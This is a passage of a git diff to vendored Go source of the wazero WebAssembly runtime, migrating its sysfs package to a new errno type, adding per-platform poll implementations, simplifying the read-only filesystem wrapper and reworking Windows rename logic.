buf); errno != 0 { +// Write implements the same method as documented on sys.File +func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { + if len(buf) == 0 { + return 0, 0 // Short-circuit 0-len writes. + } + if nonBlockingFileWriteSupported && f.IsNonblock() { + n, errno = writeFd(f.fd, buf) + } else if n, errno = write(f.file, buf); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } return } -// Pwrite implements the same method as documented on fsapi.File -func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno syscall.Errno) { +// Pwrite implements the same method as documented on sys.File +func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pwrite(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) @@ -207,55 +223,37 @@ func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno syscall.Errno) { return } -// Truncate implements the same method as documented on fsapi.File -func (f *osFile) Truncate(size int64) (errno syscall.Errno) { - if errno = platform.UnwrapOSError(f.file.Truncate(size)); errno != 0 { +// Truncate implements the same method as documented on sys.File +func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { + if errno = experimentalsys.UnwrapOSError(f.file.Truncate(size)); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } return } -// Sync implements the same method as documented on fsapi.File -func (f *osFile) Sync() syscall.Errno { +// Sync implements the same method as documented on sys.File +func (f *osFile) Sync() experimentalsys.Errno { return fsync(f.file) } -// Datasync implements the same method as documented on fsapi.File -func (f *osFile) Datasync() syscall.Errno { +// Datasync implements the same method as documented on sys.File +func (f *osFile) Datasync() experimentalsys.Errno { return datasync(f.file) } -// Chmod implements the same method as documented on fsapi.File -func (f *osFile) Chmod(mode fs.FileMode) syscall.Errno { - if f.closed { - return syscall.EBADF - } - - return platform.UnwrapOSError(f.file.Chmod(mode)) -} - -// Chown implements the same method as documented on fsapi.File -func (f *osFile) Chown(uid, gid int) syscall.Errno { - if f.closed { - return syscall.EBADF - } - - return fchown(f.fd, uid, gid) -} - -// Utimens implements the same method as documented on fsapi.File -func (f *osFile) Utimens(times *[2]syscall.Timespec) syscall.Errno { +// Utimens implements the same method as documented on sys.File +func (f *osFile) Utimens(atim, mtim int64) experimentalsys.Errno { if f.closed { - return syscall.EBADF + return experimentalsys.EBADF } - err := futimens(f.fd, times) - return platform.UnwrapOSError(err) + err := futimens(f.fd, atim, mtim) + return experimentalsys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File -func (f *osFile) Close() syscall.Errno { +// Close implements the same method as documented on sys.File +func (f *osFile) Close() experimentalsys.Errno { if f.closed { return 0 } @@ -263,6 +261,6 @@ func (f *osFile) Close() syscall.Errno { return f.close() } -func (f *osFile) close() syscall.Errno { - return platform.UnwrapOSError(f.file.Close()) +func (f *osFile) close() experimentalsys.Errno { + return experimentalsys.UnwrapOSError(f.file.Close()) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go new file mode 100644 index 0000000000..f5c9829529 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go @@ -0,0 +1,18 @@ +//go:build windows || linux || darwin + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" +) + +// poll implements `Poll` as documented on sys.File via a file descriptor. +func poll(fd uintptr, flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + fds := []pollFd{newPollFd(fd, _POLLIN, 0)} + count, errno := _poll(fds, timeoutMillis) + return count > 0, errno +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go new file mode 100644 index 0000000000..1f7f890937 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go @@ -0,0 +1,55 @@ +package sysfs + +import ( + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd int32 + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: int32(fd), events: events, revents: revents} +} + +// _POLLIN subscribes a notification when any readable data is available. +const _POLLIN = 0x0001 + +// _poll implements poll on Darwin via the corresponding libc function. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + var fdptr *pollFd + nfds := len(fds) + if nfds > 0 { + fdptr = &fds[0] + } + n1, _, err := syscall_syscall6( + libc_poll_trampoline_addr, + uintptr(unsafe.Pointer(fdptr)), + uintptr(nfds), + uintptr(int(timeoutMillis)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + return int(n1), sys.UnwrapOSError(err) +} + +// libc_poll_trampoline_addr is the address of the +// `libc_poll_trampoline` symbol, defined in `poll_darwin.s`. +// +// We use this to invoke the syscall through syscall_syscall6 imported below. +var libc_poll_trampoline_addr uintptr + +// Imports the select symbol from libc as `libc_poll`. +// +// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value +// or the "cgo" build flag. See /RATIONALE.md for why. +//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s new file mode 100644 index 0000000000..e04fca583b --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s @@ -0,0 +1,8 @@ +// lifted from golang.org/x/sys unix +#include "textflag.h" + +TEXT libc_poll_trampoline<>(SB), NOSPLIT, $0-0 + JMP libc_poll(SB) + +GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_poll_trampoline_addr(SB)/8, $libc_poll_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go new file mode 100644 index 0000000000..dab7bb2cab --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go @@ -0,0 +1,57 @@ +package sysfs + +import ( + "syscall" + "time" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd int32 + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: int32(fd), events: events, revents: revents} +} + +// _POLLIN subscribes a notification when any readable data is available. +const _POLLIN = 0x0001 + +// _poll implements poll on Linux via ppoll. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + var ts syscall.Timespec + if timeoutMillis >= 0 { + ts = syscall.NsecToTimespec(int64(time.Duration(timeoutMillis) * time.Millisecond)) + } + return ppoll(fds, &ts) +} + +// ppoll is a poll variant that allows to subscribe to a mask of signals. +// However, we do not need such mask, so the corresponding argument is always nil. +func ppoll(fds []pollFd, timespec *syscall.Timespec) (n int, err sys.Errno) { + var fdptr *pollFd + nfd := len(fds) + if nfd != 0 { + fdptr = &fds[0] + } + + n1, _, errno := syscall.Syscall6( + uintptr(syscall.SYS_PPOLL), + uintptr(unsafe.Pointer(fdptr)), + uintptr(nfd), + uintptr(unsafe.Pointer(timespec)), + uintptr(unsafe.Pointer(nil)), // sigmask is currently always ignored + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + + return int(n1), sys.UnwrapOSError(errno) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go new file mode 100644 index 0000000000..ebe8a6fa92 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go @@ -0,0 +1,13 @@ +//go:build !linux && !darwin && !windows + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" +) + +// poll implements `Poll` as documented on fsapi.File via a file descriptor. +func poll(uintptr, fsapi.Pflag, int32) (bool, sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go new file mode 100644 index 0000000000..82c8b2bafd --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go @@ -0,0 +1,224 @@ +package sysfs + +import ( + "syscall" + "time" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +var ( + procWSAPoll = modws2_32.NewProc("WSAPoll") + procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo") +) + +const ( + // _POLLRDNORM subscribes to normal data for read. + _POLLRDNORM = 0x0100 + // _POLLRDBAND subscribes to priority band (out-of-band) data for read. + _POLLRDBAND = 0x0200 + // _POLLIN subscribes a notification when any readable data is available. + _POLLIN = (_POLLRDNORM | _POLLRDBAND) +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd uintptr + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: fd, events: events, revents: revents} +} + +// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles +const pollInterval = 100 * time.Millisecond + +// _poll implements poll on Windows, for a subset of cases. +// +// fds may contain any number of file handles, but regular files and pipes are only processed for _POLLIN. +// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe. +// Regular files always immediately reported as ready, regardless their actual state and timeouts. +// +// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil, +// i.e. it won't block indefinitely. The given ctx is used to allow for cancellation, +// and it is currently used only in tests. +// +// The implementation actually polls every 100 milliseconds (pollInterval) until it reaches the +// given timeout (in millis). +// +// The duration may be negative, in which case it will wait indefinitely. The given ctx is +// used to allow for cancellation, and it is currently used only in tests. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + if fds == nil { + return -1, sys.ENOSYS + } + + regular, pipes, sockets, errno := partionByFtype(fds) + nregular := len(regular) + if errno != 0 { + return -1, errno + } + + // Ticker that emits at every pollInterval. + tick := time.NewTicker(pollInterval) + tickCh := tick.C + defer tick.Stop() + + // Timer that expires after the given duration. + // Initialize afterCh as nil: the select below will wait forever. + var afterCh <-chan time.Time + if timeoutMillis >= 0 { + // If duration is not nil, instantiate the timer. + after := time.NewTimer(time.Duration(timeoutMillis) * time.Millisecond) + defer after.Stop() + afterCh = after.C + } + + npipes, nsockets, errno := peekAll(pipes, sockets) + if errno != 0 { + return -1, errno + } + count := nregular + npipes + nsockets + if count > 0 { + return count, 0 + } + + for { + select { + case <-afterCh: + return 0, 0 + case <-tickCh: + npipes, nsockets, errno := peekAll(pipes, sockets) + if errno != 0 { + return -1, errno + } + count = nregular + npipes + nsockets + if count > 0 { + return count, 0 + } + } + } +} + +func peekAll(pipes, sockets []pollFd) (npipes, nsockets int, errno sys.Errno) { + npipes, errno = peekPipes(pipes) + if errno != 0 { + return + } + + // Invoke wsaPoll with a 0-timeout to avoid blocking. + // Timeouts are handled in pollWithContext instead. + nsockets, errno = wsaPoll(sockets, 0) + if errno != 0 { + return + } + + count := npipes + nsockets + if count > 0 { + return + } + + return +} + +func peekPipes(fds []pollFd) (n int, errno sys.Errno) { + for _, fd := range fds { + bytes, errno := peekNamedPipe(syscall.Handle(fd.fd)) + if errno != 0 { + return -1, sys.UnwrapOSError(errno) + } + if bytes > 0 { + n++ + } + } + return +} + +// wsaPoll is the WSAPoll function from winsock2. +// +// See https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll +func wsaPoll(fds []pollFd, timeout int) (n int, errno sys.Errno) { + if len(fds) > 0 { + sockptr := &fds[0] + ns, _, e := syscall.SyscallN( + procWSAPoll.Addr(), + uintptr(unsafe.Pointer(sockptr)), + uintptr(len(fds)), + uintptr(timeout)) + if e != 0 { + return -1, sys.UnwrapOSError(e) + } + n = int(ns) + } + return +} + +// ftype is a type of file that can be handled by poll. +type ftype uint8 + +const ( + ftype_regular ftype = iota + ftype_pipe + ftype_socket +) + +// partionByFtype checks the type of each fd in fds and returns 3 distinct partitions +// for regular files, named pipes and sockets. +func partionByFtype(fds []pollFd) (regular, pipe, socket []pollFd, errno sys.Errno) { + for _, pfd := range fds { + t, errno := ftypeOf(pfd.fd) + if errno != 0 { + return nil, nil, nil, errno + } + switch t { + case ftype_regular: + regular = append(regular, pfd) + case ftype_pipe: + pipe = append(pipe, pfd) + case ftype_socket: + socket = append(socket, pfd) + } + } + return +} + +// ftypeOf checks the type of fd and return the corresponding ftype. +func ftypeOf(fd uintptr) (ftype, sys.Errno) { + h := syscall.Handle(fd) + t, err := syscall.GetFileType(h) + if err != nil { + return 0, sys.UnwrapOSError(err) + } + switch t { + case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK: + return ftype_regular, 0 + case syscall.FILE_TYPE_PIPE: + if isSocket(h) { + return ftype_socket, 0 + } else { + return ftype_pipe, 0 + } + default: + return ftype_regular, 0 + } +} + +// isSocket returns true if the given file handle +// is a pipe. +func isSocket(fd syscall.Handle) bool { + r, _, errno := syscall.SyscallN( + procGetNamedPipeInfo.Addr(), + uintptr(fd), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + return r == 0 || errno != 0 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go index b83778f97c..59e331a298 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go @@ -2,259 +2,116 @@ package sysfs import ( "io/fs" - "os" - "syscall" - "time" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) -// NewReadFS is used to mask an existing api.FS for reads. Notably, this allows -// the CLI to do read-only mounts of directories the host user can write, but -// doesn't want the guest wasm to. For example, Python libraries shouldn't be -// written to at runtime by the python wasm file. -func NewReadFS(fs fsapi.FS) fsapi.FS { - if _, ok := fs.(*readFS); ok { - return fs - } else if _, ok = fs.(fsapi.UnimplementedFS); ok { - return fs // unimplemented is read-only - } - return &readFS{fs: fs} -} - -type readFS struct { - fs fsapi.FS +type ReadFS struct { + experimentalsys.FS } -// String implements fmt.Stringer -func (r *readFS) String() string { - return r.fs.String() -} - -// OpenFile implements the same method as documented on api.FS -func (r *readFS) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) { - // TODO: Once the real implementation is complete, move the below to - // /RATIONALE.md. Doing this while the type is unstable creates - // documentation drift as we expect a lot of reshaping meanwhile. - // - // Callers of this function expect to either open a valid file handle, or - // get an error, if they can't. We want to return ENOSYS if opened for - // anything except reads. - // - // Instead, we could return a fake no-op file on O_WRONLY. However, this - // hurts observability because a later write error to that file will be on - // a different source code line than the root cause which is opening with - // an unsupported flag. - // - // The tricky part is os.RD_ONLY is typically defined as zero, so while the - // parameter is named flag, the part about opening read vs write isn't a - // typical bitflag. We can't compare against zero anyway, because even if - // there isn't a current flag to OR in with that, there may be in the - // future. What we do instead is mask the flags about read/write mode and - // check if they are the opposite of read or not. - switch flag & (os.O_RDONLY | os.O_WRONLY | os.O_RDWR) { - case os.O_WRONLY, os.O_RDWR: - if flag&fsapi.O_DIRECTORY != 0 { - return nil, syscall.EISDIR +// OpenFile implements the same method as documented on sys.FS +func (r *ReadFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + // Mask the mutually exclusive bits as they determine write mode. + switch flag & (experimentalsys.O_RDONLY | experimentalsys.O_WRONLY | experimentalsys.O_RDWR) { + case experimentalsys.O_WRONLY, experimentalsys.O_RDWR: + // Return the correct error if a directory was opened for write. + if flag&experimentalsys.O_DIRECTORY != 0 { + return nil, experimentalsys.EISDIR } - return nil, syscall.ENOSYS - default: // os.O_RDONLY (or no flag) so we are ok! + return nil, experimentalsys.ENOSYS + default: // sys.O_RDONLY (integer zero) so we are ok! } - f, errno := r.fs.OpenFile(path, flag, perm) + f, errno := r.FS.OpenFile(path, flag, perm) if errno != 0 { return nil, errno } - return &readFile{f: f}, 0 + return &readFile{f}, 0 } -// compile-time check to ensure readFile implements api.File. -var _ fsapi.File = (*readFile)(nil) - -type readFile struct { - f fsapi.File -} - -// Ino implements the same method as documented on fsapi.File. -func (r *readFile) Ino() (uint64, syscall.Errno) { - return r.f.Ino() +// Mkdir implements the same method as documented on sys.FS +func (r *ReadFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { + return experimentalsys.EROFS } -// IsNonblock implements the same method as documented on fsapi.File. -func (r *readFile) IsNonblock() bool { - return r.f.IsNonblock() +// Chmod implements the same method as documented on sys.FS +func (r *ReadFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { + return experimentalsys.EROFS } -// SetNonblock implements the same method as documented on fsapi.File. -func (r *readFile) SetNonblock(enabled bool) syscall.Errno { - return r.f.SetNonblock(enabled) +// Rename implements the same method as documented on sys.FS +func (r *ReadFS) Rename(from, to string) experimentalsys.Errno { + return experimentalsys.EROFS } -// IsAppend implements the same method as documented on fsapi.File. -func (r *readFile) IsAppend() bool { - return r.f.IsAppend() +// Rmdir implements the same method as documented on sys.FS +func (r *ReadFS) Rmdir(path string) experimentalsys.Errno { + return experimentalsys.EROFS } -// SetAppend implements the same method as documented on fsapi.File. -func (r *readFile) SetAppend(enabled bool) syscall.Errno { - return r.f.SetAppend(enabled) +// Link implements the same method as documented on sys.FS +func (r *ReadFS) Link(_, _ string) experimentalsys.Errno { + return experimentalsys.EROFS } -// Stat implements the same method as documented on fsapi.File. -func (r *readFile) Stat() (fsapi.Stat_t, syscall.Errno) { - return r.f.Stat() +// Symlink implements the same method as documented on sys.FS +func (r *ReadFS) Symlink(_, _ string) experimentalsys.Errno { + return experimentalsys.EROFS } -// IsDir implements the same method as documented on fsapi.File. -func (r *readFile) IsDir() (bool, syscall.Errno) { - return r.f.IsDir() +// Unlink implements the same method as documented on sys.FS +func (r *ReadFS) Unlink(path string) experimentalsys.Errno { + return experimentalsys.EROFS } -// Read implements the same method as documented on fsapi.File. -func (r *readFile) Read(buf []byte) (int, syscall.Errno) { - return r.f.Read(buf) +// Utimens implements the same method as documented on sys.FS +func (r *ReadFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { + return experimentalsys.EROFS } -// Pread implements the same method as documented on fsapi.File. -func (r *readFile) Pread(buf []byte, offset int64) (int, syscall.Errno) { - return r.f.Pread(buf, offset) -} - -// Seek implements the same method as documented on fsapi.File. -func (r *readFile) Seek(offset int64, whence int) (int64, syscall.Errno) { - return r.f.Seek(offset, whence) -} +// compile-time check to ensure readFile implements api.File. +var _ experimentalsys.File = (*readFile)(nil) -// Readdir implements the same method as documented on fsapi.File. -func (r *readFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) { - return r.f.Readdir(n) +type readFile struct { + experimentalsys.File } -// Write implements the same method as documented on fsapi.File. -func (r *readFile) Write([]byte) (int, syscall.Errno) { +// Write implements the same method as documented on sys.File. +func (r *readFile) Write([]byte) (int, experimentalsys.Errno) { return 0, r.writeErr() } -// Pwrite implements the same method as documented on fsapi.File. -func (r *readFile) Pwrite([]byte, int64) (n int, errno syscall.Errno) { +// Pwrite implements the same method as documented on sys.File. +func (r *readFile) Pwrite([]byte, int64) (n int, errno experimentalsys.Errno) { return 0, r.writeErr() } -// Truncate implements the same method as documented on fsapi.File. -func (r *readFile) Truncate(int64) syscall.Errno { +// Truncate implements the same method as documented on sys.File. +func (r *readFile) Truncate(int64) experimentalsys.Errno { return r.writeErr() } -// Sync implements the same method as documented on fsapi.File. -func (r *readFile) Sync() syscall.Errno { - return syscall.EBADF -} - -// Datasync implements the same method as documented on fsapi.File. -func (r *readFile) Datasync() syscall.Errno { - return syscall.EBADF +// Sync implements the same method as documented on sys.File. +func (r *readFile) Sync() experimentalsys.Errno { + return experimentalsys.EBADF } -// Chmod implements the same method as documented on fsapi.File. -func (r *readFile) Chmod(fs.FileMode) syscall.Errno { - return syscall.EBADF +// Datasync implements the same method as documented on sys.File. +func (r *readFile) Datasync() experimentalsys.Errno { + return experimentalsys.EBADF } -// Chown implements the same method as documented on fsapi.File. -func (r *readFile) Chown(int, int) syscall.Errno { - return syscall.EBADF +// Utimens implements the same method as documented on sys.File. +func (r *readFile) Utimens(int64, int64) experimentalsys.Errno { + return experimentalsys.EBADF } -// Utimens implements the same method as documented on fsapi.File. -func (r *readFile) Utimens(*[2]syscall.Timespec) syscall.Errno { - return syscall.EBADF -} - -func (r *readFile) writeErr() syscall.Errno { +func (r *readFile) writeErr() experimentalsys.Errno { if isDir, errno := r.IsDir(); errno != 0 { return errno } else if isDir { - return syscall.EISDIR + return experimentalsys.EISDIR } - return syscall.EBADF -} - -// Close implements the same method as documented on fsapi.File. -func (r *readFile) Close() syscall.Errno { - return r.f.Close() -} - -// PollRead implements File.PollRead -func (r *readFile) PollRead(timeout *time.Duration) (ready bool, errno syscall.Errno) { - return r.f.PollRead(timeout) -} - -// Lstat implements the same method as documented on api.FS -func (r *readFS) Lstat(path string) (fsapi.Stat_t, syscall.Errno) { - return r.fs.Lstat(path) -} - -// Stat implements the same method as documented on api.FS -func (r *readFS) Stat(path string) (fsapi.Stat_t, syscall.Errno) { - return r.fs.Stat(path) -} - -// Readlink implements the same method as documented on api.FS -func (r *readFS) Readlink(path string) (dst string, err syscall.Errno) { - return r.fs.Readlink(path) -} - -// Mkdir implements the same method as documented on api.FS -func (r *readFS) Mkdir(path string, perm fs.FileMode) syscall.Errno { - return syscall.EROFS -} - -// Chmod implements the same method as documented on api.FS -func (r *readFS) Chmod(path string, perm fs.FileMode) syscall.Errno { - return syscall.EROFS -} - -// Chown implements the same method as documented on api.FS -func (r *readFS) Chown(path string, uid, gid int) syscall.Errno { - return syscall.EROFS -} - -// Lchown implements the same method as documented on api.FS -func (r *readFS) Lchown(path string, uid, gid int) syscall.Errno { - return syscall.EROFS -} - -// Rename implements the same method as documented on api.FS -func (r *readFS) Rename(from, to string) syscall.Errno { - return syscall.EROFS -} - -// Rmdir implements the same method as documented on api.FS -func (r *readFS) Rmdir(path string) syscall.Errno { - return syscall.EROFS -} - -// Link implements the same method as documented on api.FS -func (r *readFS) Link(_, _ string) syscall.Errno { - return syscall.EROFS -} - -// Symlink implements the same method as documented on api.FS -func (r *readFS) Symlink(_, _ string) syscall.Errno { - return syscall.EROFS -} - -// Unlink implements the same method as documented on api.FS -func (r *readFS) Unlink(path string) syscall.Errno { - return syscall.EROFS -} - -// Utimens implements the same method as documented on api.FS -func (r *readFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno { - return syscall.EROFS -} - -// Truncate implements the same method as documented on api.FS -func (r *readFS) Truncate(string, int64) syscall.Errno { - return syscall.EROFS + return experimentalsys.EBADF } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go index b107bc19d0..f7d84ef7ae 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go @@ -1,16 +1,16 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func Rename(from, to string) syscall.Errno { +func rename(from, to string) sys.Errno { if from == to { return 0 } - return platform.UnwrapOSError(syscall.Rename(from, to)) + return sys.UnwrapOSError(syscall.Rename(from, to)) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go new file mode 100644 index 0000000000..474cc7595e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go @@ -0,0 +1,14 @@ +package sysfs + +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func rename(from, to string) sys.Errno { + if from == to { + return 0 + } + return sys.UnwrapOSError(os.Rename(from, to)) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_windows.go index 25e53d4ff0..5e81022391 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_windows.go @@ -1,47 +1,55 @@ package sysfs import ( - "errors" "os" "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func Rename(from, to string) syscall.Errno { +func rename(from, to string) sys.Errno { if from == to { return 0 } - fromStat, err := os.Stat(from) - if err != nil { - return syscall.ENOENT + var fromIsDir, toIsDir bool + if fromStat, errno := stat(from); errno != 0 { + return errno // failed to stat from + } else { + fromIsDir = fromStat.Mode.IsDir() } + if toStat, errno := stat(to); errno == sys.ENOENT { + return syscallRename(from, to) // file or dir to not-exist is ok + } else if errno != 0 { + return errno // failed to stat to + } else { + toIsDir = toStat.Mode.IsDir() + } + + // Now, handle known cases + switch { + case !fromIsDir && toIsDir: // file to dir + return sys.EISDIR + case !fromIsDir && !toIsDir: // file to file + // Use os.Rename instead of syscall.Rename to overwrite a file. + // This uses MoveFileEx instead of MoveFile (used by syscall.Rename). + return sys.UnwrapOSError(os.Rename(from, to)) + case fromIsDir && !toIsDir: // dir to file + return sys.ENOTDIR + default: // dir to dir - if toStat, err := os.Stat(to); err == nil { - fromIsDir, toIsDir := fromStat.IsDir(), toStat.IsDir() - if fromIsDir && !toIsDir { // dir to file - return syscall.ENOTDIR - } else if !fromIsDir && toIsDir { // file to dir - return syscall.EISDIR - } else if !fromIsDir && !toIsDir { // file to file - // Use os.Rename instead of syscall.Rename in order to allow the overrides of the existing file. - // Underneath os.Rename, it uses MoveFileEx instead of MoveFile (used by syscall.Rename). - return platform.UnwrapOSError(os.Rename(from, to)) - } else { // dir to dir - if dirs, _ := os.ReadDir(to); len(dirs) == 0 { - // On Windows, renaming to the empty dir will be rejected, - // so first we remove the empty dir, and then rename to it. - if err := os.Remove(to); err != nil { - return platform.UnwrapOSError(err) - } - return platform.UnwrapOSError(syscall.Rename(from, to)) - } - return syscall.ENOTEMPTY + // We can't tell if a directory is empty or not, via stat information. + // Reading the directory is expensive, as it can buffer large amounts + // of data on fail. Instead, speculatively try to remove the directory. + // This is only one syscall and won't buffer anything. + if errno := rmdir(to); errno == 0 || errno == sys.ENOENT { + return syscallRename(from, to) + } else { + return errno } - } else if !errors.Is(err, syscall.ENOENT) { // Failed to stat the destination. - return platform.UnwrapOSError(err) - } else { // Destination not-exist. - return platform.UnwrapOSError(syscall.Rename(from, to)) } } + +func syscallRename(from string, to string) sys.Errno { + return sys.UnwrapOSError(syscall.Rename(from, to)) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rootfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rootfs.go deleted file mode 100644 index 75bd839f44..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rootfs.go +++ /dev/null @@ -1,559 +0,0 @@ -package sysfs - -import ( - "fmt" - "io" - "io/fs" - "strings" - "syscall" - - "github.com/tetratelabs/wazero/internal/fsapi" -) - -func NewRootFS(fs []fsapi.FS, guestPaths []string) (fsapi.FS, error) { - switch len(fs) { - case 0: - return fsapi.UnimplementedFS{}, nil - case 1: - if StripPrefixesAndTrailingSlash(guestPaths[0]) == "" { - return fs[0], nil - } - } - - ret := &CompositeFS{ - string: stringFS(fs, guestPaths), - fs: make([]fsapi.FS, len(fs)), - guestPaths: make([]string, len(fs)), - cleanedGuestPaths: make([]string, len(fs)), - rootGuestPaths: map[string]int{}, - rootIndex: -1, - } - - copy(ret.guestPaths, guestPaths) - copy(ret.fs, fs) - - for i, guestPath := range guestPaths { - // Clean the prefix in the same way path matches will. - cleaned := StripPrefixesAndTrailingSlash(guestPath) - if cleaned == "" { - if ret.rootIndex != -1 { - return nil, fmt.Errorf("multiple root filesystems are invalid: %s", ret.string) - } - ret.rootIndex = i - } else if strings.HasPrefix(cleaned, "..") { - // ../ mounts are special cased and aren't returned in a directory - // listing, so we can ignore them for now. - } else if strings.Contains(cleaned, "/") { - return nil, fmt.Errorf("only single-level guest paths allowed: %s", ret.string) - } else { - ret.rootGuestPaths[cleaned] = i - } - ret.cleanedGuestPaths[i] = cleaned - } - - // Ensure there is always a root match to keep runtime logic simpler. - if ret.rootIndex == -1 { - ret.rootIndex = len(fs) - ret.cleanedGuestPaths = append(ret.cleanedGuestPaths, "") - ret.fs = append(ret.fs, &fakeRootFS{}) - } - return ret, nil -} - -type CompositeFS struct { - 